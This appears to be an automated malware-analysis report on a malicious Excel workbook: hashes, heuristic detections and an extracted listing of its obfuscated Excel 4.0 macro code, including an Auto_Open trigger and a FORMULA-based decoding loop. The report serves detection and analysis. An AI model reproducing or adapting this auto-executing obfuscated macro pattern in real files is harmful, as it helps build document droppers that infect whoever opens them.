Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ab7aeb586c9c1612…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:24:53 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: b3c5a92e810141b902bcd14e259a5c67 SHA-1: 9c3cb98ed26fac5b8fdb4626244dcea439e57861 SHA-256: ab7aeb586c9c1612866ea835bc2c40e4d1706ce87f0e624d3bc6c0f5a52c36de
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6679 bytes
SHA-256: 46238023275ea845bf08da1ce3a23eef7054857f871347e01abb76747fdcdd4d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KEdhDMynv
' 0018     26 LABEL : Cell Value, String Constant - AMYnFUQSmfo len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I150 
' 0018     22 LABEL : Cell Value, String Constant - BLZICcR len=0 
' 0018     20 LABEL : Cell Value, String Constant - Churn len=0 
' 0018     21 LABEL : Cell Value, String Constant - CPFgME len=0 
' 0018     21 LABEL : Cell Value, String Constant - dtNLqQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - eRakmvjrgPHL len=0 
' 0018     21 LABEL : Cell Value, String Constant - GCOWNl len=0 
' 0018     23 LABEL : Cell Value, String Constant - iHvEovcl len=0 
' 0018     27 LABEL : Cell Value, String Constant - jcOFLmIZaicW len=0 
' 0018     26 LABEL : Cell Value, String Constant - jnEkeyTxlcw len=0 
' 0018     25 LABEL : Cell Value, String Constant - kdwBBoWyNK len=0 
' 0018     23 LABEL : Cell Value, String Constant - QJLQPaKg len=0 
' 0018     20 LABEL : Cell Value, String Constant - VHfNA len=0 
' 0018     21 LABEL : Cell Value, String Constant - vrXHXS len=0 
' 0018     24 LABEL : Cell Value, String Constant - WkiGXYuEh len=0 
' 0018     27 LABEL : Cell Value, String Constant - wLKkEshVcwQi len=0 
' 0018     24 LABEL : Cell Value, String Constant - wZDISOrdS len=0 
' 0018     22 LABEL : Cell Value, String Constant - YvQwVhN len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZHXiE len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZQNemnvgdHg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KEdhDMynv,I65,"SET.NAME("YvQwVhN",VALUE("0"))",""
'  KEdhDMynv,I69,"SET.NAME("dtNLqQ",YvQwVhN)",""
'  KEdhDMynv,I73,"SET.NAME("jnEkeyTxlcw",YvQwVhN)",""
'  KEdhDMynv,I76,"SET.NAME("CPFgME",COUNTA(iHvEovcl))",""
'  KEdhDMynv,I78,"SET.NAME("QJLQPaKg",COUNTA(wZDISOrdS))",""
'  KEdhDMynv,I81,[],""
'  KEdhDMynv,I85,"SET.NAME("vrXHXS","")",""
'  KEdhDMynv,I88,"dtNLqQ",""
'  KEdhDMynv,I91,"SET.NAME("WkiGXYuEh",HLOOKUP("*",iHvEovcl,dtNLqQ,FALSE))",""
'  KEdhDMynv,I96,"AMYnFUQSmfo",""
'  KEdhDMynv,I99,"SET.NAME("ZQNemnvgdHg",YvQwVhN)",""
'  KEdhDMynv,I101,[],""
'  KEdhDMynv,I106,"ZQNemnvgdHg",""
'  KEdhDMynv,I111,"eRakmvjrgPHL",""
'  KEdhDMynv,I114,"ZHXiE",""
'  KEdhDMynv,I119,"kdwBBoWyNK",""
'  KEdhDMynv,I123,"SET.NAME("BLZICcR",VALUE(HLOOKUP("*",wZDISOrdS,kdwBBoWyNK,FALSE)))",""
'  KEdhDMynv,I125,"VHfNA",""
'  KEdhDMynv,I128,"vrXHXS",""
'  KEdhDMynv,I132,"jnEkeyTxlcw",""
'  KEdhDMynv,I134,NEXT(),""
'  KEdhDMynv,I137,"wLKkEshVcwQi",""
'  KEdhDMynv,I141,"SET.NAME("f",INT(T(FORMULA(T(vrXHXS)&"",""&T(wLKkEshVcwQi)))))",""
'  KEdhDMynv,I143,"jcOFLmIZaicW",""
'  KEdhDMynv,I145,NEXT(),""
'  KEdhDMynv,I148,RETURN(),""
'  KEdhDMynv,I175,"SET.NAME("GCOWNl",I65)",""
'  KEdhDMynv,I180,"iHvEovcl",""
'  KEdhDMynv,I185,"SET.NAME("wZDISOrdS",R48C15)",""
'  KEdhDMynv,I190,"SET.NAME("jcOFLmIZaicW",199)",""
'  KEdhDMynv,I193,"SET.NAME("Churn",9)",""
'  KEdhDMynv,I198,GCOWNl(),""
'  KEdhDMynv,I199,HALT(),""

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